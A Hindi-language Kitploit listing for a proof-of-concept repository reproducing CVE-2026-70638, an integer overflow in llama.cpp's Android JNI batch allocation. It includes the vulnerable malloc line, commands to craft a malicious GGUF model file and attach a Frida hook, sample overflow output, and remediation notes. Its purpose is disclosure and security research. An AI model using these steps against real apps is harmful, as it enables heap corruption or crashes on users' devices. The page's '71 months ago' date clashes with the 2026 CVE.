Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow — llama.cpp Android JNI में CVE-2026-70638 पूर्णांक अतिप्रवाह को एक सुरक्षित अंकगणित डेमो, दुर्भावनापूर्ण GGUF जनरेटर, और अधिकृत सुरक्षा अनुसंधान के लिए Frida हुक के साथ पुनरुत्पादित करता है। | Kitploit
उपकरण/GitHubGitHub/hunt-benito/one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow
एंड्रॉइड सुरक्षापेलोड जनरेशनभेद्यता विश्लेषणगतिशील कोड विश्लेषण (DAST)शोषणलर्निंग और शिक्षा
GitHubhunt-benito/one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow

one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow

llama.cpp Android JNI में CVE-2026-70638 पूर्णांक अतिप्रवाह को एक सुरक्षित अंकगणित डेमो, दुर्भावनापूर्ण GGUF जनरेटर, और अधिकृत सुरक्षा अनुसंधान के लिए Frida हुक के साथ पुनरुत्पादित करता है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
71 महीना पहलेअभी तक समीक्षित नहीं

CVE-2026-70638 - llama.cpp LLaMA-Android JNI पूर्णांक अतिप्रवाह

हंट-बेनिटो लेख के लिए साथी PoC "एक गुणा बहुत अधिक: CVE-2026-70638 — llama.cpp के Android JNI हीप आवंटन में पूर्णांक अतिप्रवाह" → https://www.hunt-benito.com/blog/one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow/

बग

examples/llama.android/llama/src/main/cpp/llama-android.cpp में Java_android_llama_cpp_LLamaAndroid_new_1batch() (llama.cpp बिल्ड b1886–b7445) llama_batch_init() की एक हस्त-प्रति है जो कई अनियंत्रित malloc(sizeof(T) * count) गणनाएँ करती है। हमलावर-नियंत्रित गुणक (n_seq_max, n_tokens, या embd) के साथ, आकार रैप हो जाता है, हीप ब्लॉक आकार में छोटा हो जाता है, और कॉलर के बाद के लेखन इसे ओवरफ्लो कर देते हैं (CWE-190 → CWE-122)। NVD CVSS 3.1 7.8 उच्च (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)।

फ़ंक्शन का कमज़ोर मूल भाग:

root@kitploit:~
batch->seq_id[i] = (llama_seq_id *) malloc(sizeof(llama_seq_id) * n_seq_max);

फ़ाइलें

चलाना

root@kitploit:~
# 1. Arithmetic demonstrator (the core of the article's PoC)
cc -O2 -o overflow_demo overflow_demo.c
./overflow_demo

# 2. Malicious model file
python3 craft_gguf.py 0x40000001 malicious.gguf   # -> 416-byte GGUF
xxd malicious.gguf | head                           # verify magic 'GGUF' + key

# 3. Live hook (rooted/emulator device with frida-server, authorized target only)
frida -U -l hook_new_batch.js -f <package> --no-pause

अपेक्षित डेमो आउटपुट (अंश)

root@kitploit:~
[2] Malicious: n_seq_max = 0x40000000 (2^30). 4 * 2^30 = 2^32 -> wraps:
  n_seq_max (attacker)   = 1073741824 (0x40000000)
  malloc size, arm64     = 4294967296 bytes (4.00 GiB)
  malloc size, armeabi-v7a = 0 bytes
  caller believes it got = 4294967296 bytes
  >>> 32-bit WRAP: 4294967296-byte write into 0-byte heap block (CWE-122)

दायरा और सटीकता नोट्स

  • रैप-से-छोटे-आवंटन 32-बिट ABI (armeabi-v7a, अभी भी शिप किया जाता है) पर सीधे पहुँच योग्य है। 64-बिट (arm64-v8a) पर वही अनियंत्रित एक्सप्रेशन इसके बजाय एक मल्टी-GiB ब्लॉक का अनुरोध करता है जिसे malloc विफल कर देता है (NULL → बाद में क्रैश / DoS); हीप भ्रष्टाचार के लिए 32-बिट पथ आवश्यक है।
  • overflow_demo.c कोई सीमा-से-बाहर लेखन नहीं करता — यह केवल सिद्ध करता है कि अंकगणित रैप होता है। craft_gguf.py एक गैर-चलाने योग्य मॉडल (कोई टेंसर नहीं) बनाता है, इसलिए इसे जैसे-का-तैसा हथियार नहीं बनाया जा सकता; यह प्रदर्शित करता है कि हमलावर-नियंत्रित गुणक अविश्वसनीय मेटाडेटा से प्राप्त होता है।

उपचार

llama.cpp को b7446 या उसके बाद के संस्करण में अपग्रेड करें (Android-बाइंडिंग पुनर्लेखन द्वारा new_1batch JNI पथ हटा दिया गया था)। यदि आपको किसी प्रभावित बिल्ड या डाउनस्ट्रीम फोर्क पर बने रहना है, तो https://github.com/Vladimir-tokarev-cyera/llama-cpp-security-patches से Cyera का सत्यापन पैच लागू करें (CVE-2026-43627 batch-init गार्ड इस बग वर्ग के लिए विहित सुधार है)।

स्रोत

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-70638
  • सुधार (पुनर्लेखन) — https://github.com/ggml-org/llama.cpp/commit/5c0d18881e0e9794c96b2602736b758bac9d9388
  • प्रभावित स्रोत — https://github.com/ggml-org/llama.cpp/blob/b7445/examples/llama.android/llama/src/main/cpp/llama-android.cpp

केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उपयोग के लिए।

टूल डाउनलोड करें
फ़ाइलउद्देश्य
overflow_demo.c32-बिट (armeabi-v7a) बनाम 64-बिट (arm64-v8a) size_t के अंतर्गत रैपिंग आकार अंकगणित का स्टैंडअलोन पुनरुत्पादक। कोई दूषित लेखन नहीं — कहीं भी चलाना सुरक्षित।
craft_gguf.pyllama.embedding_length को हमलावर मान पर सेट करके एक न्यूनतम, संरचनात्मक रूप से मान्य GGUF बनाता है, जो मॉडल-फ़ाइल डिलीवरी वेक्टर दिखाता है (embd सीधे अविश्वसनीय मेटाडेटा से पढ़ा जाता है)।
hook_new_batch.jsFrida हुक जो किसी शोध डिवाइस पर लाइव JNI सीमा पर तीनों गुणकों को लॉग/ओवरराइड करता है।